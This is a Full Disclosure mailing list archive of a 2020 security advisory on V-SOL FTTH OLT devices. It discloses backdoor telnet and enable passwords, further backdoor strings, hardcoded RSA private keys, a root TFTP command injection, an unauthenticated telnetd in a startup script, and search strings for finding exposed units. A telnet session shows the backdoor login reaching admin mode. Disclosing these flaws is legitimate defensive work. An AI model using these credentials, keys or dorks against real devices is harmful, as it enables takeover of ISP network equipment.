



Site Search



[Full Disclosure](#) mailing list archives



[By Date](#) [By Thread](#)

List Archive Search



Multiple vulnerabilities found in V-SOL OLTs

From: Pierre Kim <pierre.kim.sec () gmail com>

Date: Mon, 13 Jul 2020 14:45:52 +0100

Hello,

Please find a text-only version below sent to security mailing lists.

The complete version on "Multiple vulnerabilities found in V-SOL OLTs" is posted here:

<https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html>

=== text-version of the advisory ===

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory Information

Title: Multiple vulnerabilities found in V-SOL OLTs
Advisory URL: <https://pierrekim.github.io/advisories/2020-v-sol-0x00-olt.txt>
Blog URL: <https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html>
Date published: 2020-07-14
Vendors contacted: None
Release mode: Full-Disclosure
CVE: None yet assigned

Product Description

The V-SOL OLTs are FTTH OLTs allowing to provide FTTH connectivity to a large number of clients (using ONTs). Some of the devices support multiple 10-gigabit uplinks and provide Internet connectivity to up to 1024 ONTs (clients).

We validated the vulnerabilities against V1600D4L OLT in our lab environment with the latest firmware versions (V1.01.49).

Using static analysis, these vulnerabilities also appear to affect all available OLT models as the codebase is similar:

- V1600D (V2.03.69 and V2.03.57)
- V1600D4L (V1.01.49)
- V1600D-MINI (V1.01.48)
- V1600G1 (V2.0.7 and V1.9.7)
- V1600G2 (V1.1.4)

We believe these models are also vulnerable:

- V1600D2-L
- V1600D2
- V1600D4
- V1600D4-DP
- V1600D8
- V1600D16
- V1600G0

For explanation about FTTH architecture, you can check my previous research at <http://pierrekim.github.io/blog/2016-11-01-gpon-ftth-networks-insecurity.html>.

Vulnerabilities Summary

The summary of the vulnerabilities is:

1. Backdoor Access with telnet
2. Enable Backdoor
3. Hardcoded RSA keys
4. Potential command injection
5. Code quality
6. Backdoor used for account creation
7. Backdoor specific to V1600D model
8. Insecure management interfaces

Details - Backdoor Access with telnet

A telnet server is running in the appliance and is reachable from the WAN interface and from the FTTH LAN interface (from the ONTs).

You can find below backdoor (undocumented) credentials, giving an attacker a low-privilege CLI access.

```
login: admin
password: !j@1#y$z%x6x7q8c9z)
```

The credentials have been extracted from firmware images:

[please use the HTML version at
<https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html>
to see the image]

Authentication process with hardcoded credentials

```
$ telnet [ip]
Trying [ip]...
Connected to [ip].
Escape character is '^['.
```

```
Hello, this is epon olt platform (version 1.00).
Copyright 2010-2018, All Rights Reserved.
```

User Access Verification

Bad UserName or Bad Password , Login Failed.

Please retry

```
Login: admin
Password: !j@1#y$z%x6x7q8c9z)
```

```

olt> list
enable      Turn on privileged mode command
exit        Exit current mode and down to previous mode
help        Description of the interactive help system
list        Print command list
quit        Exit current mode and down to previous mode
show        Show running system information
terminal    Set terminal line parameters
vty         Virtual terminal
who         Display who is on vty
olt>

## Details - Enable Backdoor

It is possible to elevate the privileges using the password
'!j@l#y$z%x6x7q8c9z)' and to get a complete administrator CLI access:

olt> enable
Password: !j@l#y$z%x6x7q8c9z)
olt#
clear       Reset functions
configure   Configuration from vty interface
copy        Copy configuration
disable     Turn off privileged mode command
end         Exit current mode and down to previous mode
exit        Exit current mode and down to previous mode
help        Description of the interactive help system
ip          Global IP configuration subcommands
list        Print command list
no          Negate a command or set its defaults
quit        Exit current mode and down to previous mode
show        Show running system information.
terminal    Set terminal line parameters
vty         Virtual terminal
who         Display who is on vty
write       Write running configuration to memory, network, or terminal
olt#

```

With this access, an attacker can completely overwrite the configuration as well as the firmware.

[please use the HTML version at
<https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html>
to see the image]
Hardcoded Enable password

Details - Hardcoded RSA keys

The firmware images contain hardcoded RSA keys, used to provide SSL encryption for the web server.

V1600D4L and V1600D-MINI:

```

$ cat self.key
-----BEGIN RSA PRIVATE KEY-----
MIICXIBAAKBgQDPcalRbgPDdqZ2n2m1PQ/s2IANv55GJhKf9CtkMIEpHEhbTixH
pcNE02oQoJFTK5EL21A3JftekV3DCKK68nc1JAAWmzJp63QpEovZr9ySQuBkk39
/+kHxsFkUmR3S1dyLctat+o7qAy4W/BM6tp00mXWKhFHezXmABf/vGt89QIDAQAB
AoGA3c3vLsJd2121ASk01zgp87buFMAAqpaT/vZb51m7A1qgJHLIwOSQKdM3Y
80Y3ONVZU16Wf1tKsQWxz1FPYCELDvNWGmGd31zOqE1z18V1hsQzrtfLZxjE1r
sfMxcoYNUcV4u10FXMgJaObz2418W8CjE6TyDfODD3WsdQMECQDpTMsV5D91faOW
rlnahaaVTpyTyd7QGg07jyxIdLz+mL0G8xUF6CnIw1G3kg+614oLSAgpj2SIFocn
rz/Zxq89AKEA46D2R1oNL6hNEWZvL9dbocqp/7f4sILtIE6fANsqM5oeIPA1T3ge
nyK5VwU2Jm4N3oaLq9fPFESWtAC/5FvgQJAGcthuID2GR+nxKZSmvSX/H3slzKE
rQrzerNTDBz5Zznf/Hq341VO+WGPEWqoz8qder1WPHVEOj+FZz/bIWR0SQJAJk6K
YhmDgJKtLZf0grOWW0CgONf+ax4Ec5cFNN1PbvG+CAU1KQpWs6GDEv3Oe5pbRpt
ZOTZqPEN/4rkWDrp+QJBA02UwGw13pU8T9K15qR1Em/o+buRoc8hFyyv1CSMAWZ
uXFnRzbruiQ6/LMF3MUTU4TOD7tnhOvQlUb+Rgnzs=
-----END RSA PRIVATE KEY-----

$ cat self.crt
-----BEGIN CERTIFICATE-----
MIICDCCAfmGAWIBAgIJALvknR/6Fr2MA0GCSqGSIb3DQEBBQUAMGEwCzAJBgNV
BAYTA14uMQswCQYDVQQUIDAIuLjELMAKGA1UEBwCLi4xCzAJBgNVBAAoMA14uMQsw
CQYDVQQLDAIuLjELMAKGA1UEAwCLi4xETAPBgkqhkiG9w0BCQEWAl4uMB4XDTE4
MDcyNjA5MDEwM1oXDTE4MDcyNTA5MDEwM1owTELMAKGA1UEBhMCLi4xCzAJBgNV
BAGMA14uMQswCQYDVQQUIDAIuLjELMAKGA1UECwCLi4xCzAJBgNVBAsMA14uMQsw
CQYDVQDDDAIuLjERMA8GCSqGSIb3DQEQJARYCLi4wZ28wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAM9xrVfuA8N2pnafabU9D+yYgA2/nkYmEoX0K2QwGskcSftOLEel
w0TtahCgKvMrKQvBUdc1+16RWtCMiorrydwgkABabMmnrdCks19mv3JJC5uStf3/
6Gfgx+RSZhdKV3ItYlpP6juoDLhb8Ezq2nTS2dYqEUD6teYAF/+8a3z1AgMBAAAG
UDBOMBGA1UddgQWBTDWRDTYuzjtF3+rk0jAbTKRIMtXjAfbgNVHSMEDGAWgBTD
WRDTYuzjtF3+rk0jAbTKRIMtXjABgNVHRMBETADAQH/MA0GCSqGSIb3DQEBBQUA
A4GBAJsXkXMBJQYXOvrF5PcCUkg16o5bt83x3KcKZ9+Yv7cncR8BAGXSMYorOM1
+Ttt3CSSThp5jWcdDhvt4V5/S8k346DKUmID2WzZzjL82MOYAv/na6QTGNuAcz
7VLEK/QuBz5jLczZ9WtOrgZ0ma2TjIZJOpt32guKZYeYl+r
-----END CERTIFICATE-----

```

V1600D, V1600G1 and V1600G2:

```

$ cat usr/sbin/self.key
-----BEGIN RSA PRIVATE KEY-----
MIICXIBAAKBgQDQYaaee61gp8RpOXUq+82WUOXm8pSjIXBj6U9RRK19KLu8vV/
80g/vdyPdartkhvG7tG5kJLSZ464+uDNbnZpnEk4LZbN9vAY8rgmc/2SFYFY1Kb28
bcKpV6e4EuCxc0VPC27z1ywikVFHg2g9Dva6bnuPqXj+JRUNK/ER4PADTWIDAQAB
AoGACOMb1DjutjAbB2zZjkcplQB+M1nhYgJh3zWkpfv2n71x430AupNH1TN1nR
L6HT6n6BzyurE8AREAKJogAvKamqijPM8KPFKEBqqDOhm3ZXOsjsS50kzpMR4H4
ChbJ08dms1m3fKGZUdrSG1wJw27wB1NRRcocQKc1xIez9ECQQD5XTxUhe/CGPFA
AA4q8sRNVkG5oRd1eVLR6cyoEzbqwd3VnVHUZIn3fBYul1T3p2UkNF9RrmfENPTA
Sf5F+dBtAkA1e05mYLLs1JnlgvGLlZn8Wvpy5DnuMrEqwt1WFn6nG8Ftwor8
7EBdQWUFLCslu2GKSTx9n9x3tkV9w2zFKWJBANWrinJygcqZS5c9QoaUPCqh/Hj
kxJZ7y+ummq6bCgkdk1oDCN/USDB69pbndTTGcVegfyz1sZ4CkmXIAUPMytEQCE+c
YbQdgxHN+xBFvUaF9vb6h1qQoMRnU822HhgjFK3vgBYNMZSok7+whTlIHingHo2
XTHV/hYw0KgXQk8oulMCQQBDJD7WusXmuND+Pqp24/t19d/FyhITHc/CDwsKN6tW0
8WfCwMgDbQd1BtBd/S2gs6yJvpaF3HKE+S15cB4mPVK
-----END RSA PRIVATE KEY-----

$ cat usr/sbin/self.crt
-----BEGIN CERTIFICATE-----
MIICDCCAfmGAWIBAgIJAKwF33vgssHMA0GCSqGSIb3DQEBBQUAMGEwCzAJBgNV
BAYTA14uMQswCQYDVQQUIDAIuLjELMAKGA1UEBwCLi4xCzAJBgNVBAAoMA14uMQsw
CQYDVQQLDAIuLjELMAKGA1UEAwCLi4xETAPBgkqhkiG9w0BCQEWAl4uMB4XDTE4
MDcyNzA4MTMxNVoXDTE4MDcyNjA4MTMxNVoYTELMAKGA1UEBhMCLi4xCzAJBgNV
BAGMA14uMQswCQYDVQQUIDAIuLjELMAKGA1UECwCLi4xCzAJBgNVBAsMA14uMQsw
CQYDVQDDDAIuLjERMA8GCSqGSIb3DQEQJARYCLi4wZ28wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBANBhnp57gKcXkG5dS17zZzQ5ebYlKMhcGpPT1FGS12QctY7y9X/z
SD+93191qu29S8BuObmQktJn1rj64M1tmccSTgt1s328BjyuCZz/Z1VgVl1pvaZt
wqLxp7gS4JdzRUL8lvOXLCRkRUeDaD009rpeu4+peP41FQ0r8RHg8ANPAqMBAAGj
UDBOMBGA1UddgQWBQIoRN/VYomUzWpX1HCzr2i4XPv4zAfBgNVHSMEDGAWgBQI
oRN/VYomUzWpX1HCzr2i4XPv4zAMBgNVHRMBETADAQH/MA0GCSqGSIb3DQEBBQUA
A4GBAB0bY8Sge39BwzXtXnzSOp1n0CIwjr3xi7nLvZghf4Xooctf9zDTQBONozh
eRjSL1uVJ19kYIBY4j2Y5nbSwjaWD01maa6z5FBR0e3SyGg84tLZyFW8SiJdFLC
jN04hXrqdQ/ATL6QCaH1GzbPMG4KB1PfWaiYV1RL3B0vJN
-----END CERTIFICATE-----

```

Detail - Potential command injection

It is possible to use TFTP to transfer some files:

```

upload tftp syslog <filename> <A.B.C.D>
upload tftp configuration <filename> <A.B.C.D>

```

This is vulnerable to a command injection, allowing to run commands as root.

The function starting the tftp process using system(3) will use the argument provided by the attacker, as shown below:

[please use the HTML version at
<https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html>
to see the image]
TFTP command injection

Detail - Code quality

In the firmware image of V1600D4L and V1600D-MINI, we can find the following inside the 'init.sh' script:

```
$ cat init.sh
#!/bin/sh
[...]
ifconfig eth0 0.0.0.0
ifconfig eth0 up
[...]

telnetd -l /bin/sh&
```

During the update, the script appears to start telnetd without authentication.

Backdoor used for account creation

The string '4ef9ceal0b2362f15ba4558bld5c081f' is being compared with an input value in the function used to create new users.

The code will check if the user is 'admin' or if the backdoor password '4ef9ceal0b2362f15ba4558bld5c081f' is provided.

It appears it is being used to create admin users from non-admin users.

[please use the HTML version at
<https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html>
to see the image]
Creation of new user, using a 'backdoor' password

Due to time constraints, we did not study this backdoor in depth.

Backdoor specific to V1600D model

This backdoor appeared in version 2.03.69.

The string 'K0LTdi@gnos3l2\$' is being compared with the password provided by the remote attacker. If it matches, the access will be provided.

[please use the HTML version at
<https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html>
to see the image]
Authentication process with hardcoded credentials

Due to time constraints, we did not study this backdoor in depth.

Details - Insecure management interfaces

By default, the appliance can only be managed remotely with HTTP, HTTPS, telnet and SNMP. Some devices may support SSH. Furthermore, SSL is using hardcoded keys. An attacker can intercept passwords sent in clear-text and MITM the management of the appliance.

Dorks

"Hello, this is epon olt platform (version 1.00)."
"Copyright 2010-2018, All Rights Reserved."

Vendor Response

Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor.

Report Timeline

* Dec 29, 2019: Vulnerabilities found and this advisory was written.
* Jul 14, 2020: A public advisory is sent to security mailing lists.

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec) and Alexandre Torres (@AlexTorSec).

References

<https://pierrekim.github.io/advisories/2020-v-sol-0x00-olt.txt>
<https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html>

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: <http://creativecommons.org/licenses/by-nc-sa/3.0/>

-----BEGIN PGP SIGNATURE-----

```
iQIzBAEBCgAdFiEEoSgI9MSrZxDXWrmCx4D02n2TLbwFA18MX4oACGkQx4D02n2T
LbYmBAArmUCDEI/WHC5ch3lYfXxehSZOTDl15GOD7osIixteXT67jCns5EGdhBJ
Lq66KLdJzG+60jhj1N/YHu2BupvF4ChntTId/UYSjuvys8J17f6VweqsazxebYac
W0cmBwN9TqW20Bjhmgrf3yZqaQ6YpfbkuiFolddLTUTIOGVm8b0WuUDF2grb5KLT
cKJoFW//RaX9eQCZaB/5RoZlV06hZSx2930ljOfC5KRqoVex5FkhV1DEA4P8IM
TV/1kYwN0xb6O6GYwLFGQ0xe4qVjd+En34ixgUMhBxsJAQ4HsNGInCgJZfitJKv
0GgNlP5FRtVU+T7kk0e+Bmwl/vAmF3IbCEUacQw08cahpiqHIJEIKzV+wdYrjlV
q40Ia8pUHwcFEe5UyWn1+yxTU2WslA2QCbXoD0FYrzN6Ahgcty2R5kfstSjycGU5
GqxPV7j9HJqahf5rLutbF07onbOxXyU/YwLPx3kbHs3yJ68alXKZox5o0B3NT/BU
GEULKnp5C2zsmNXmmdW7bh/MODIgaDK4vfjRqJF77QyHjCedltwqmeFTZ/fy5k+I
gM4ZCzi/EZhuOAOArXimg7Qoxn3TvedmTorCtUrbCIMEIjQ8weuSxKCUK+joPGmkmv
146u4GkyS2wmm+2DFQmxSXTZKX689YckXAlhgr7bpSDk3yBz12w=
-D0Ib
```

-----END PGP SIGNATURE-----

--
Pierre Kim
pierre.kim.sec () gmail com
@PierreKimSec
<https://pierrekim.github.io/>

Sent through the Full Disclosure mailing list

[By Date](#) [By Thread](#)

Current thread:

Multiple vulnerabilities found in V-SOL OLTs *Pierre Kim (Jul 13)*

Site Search

Nmap Security Scanner

Ref Guide

Install Guide

Docs

Download

Nmap OEM

Npcap packet capture

User's Guide

API docs

Download

Npcap OEM

Security Lists

Nmap Announce

Nmap Dev

Full Disclosure

Open Source Security

BreachExchange

Security Tools

Vuln scanners

Password audit

Web scanners

Wireless

Exploitation

About

About/Contact

Privacy

Advertising

Nmap Public Source License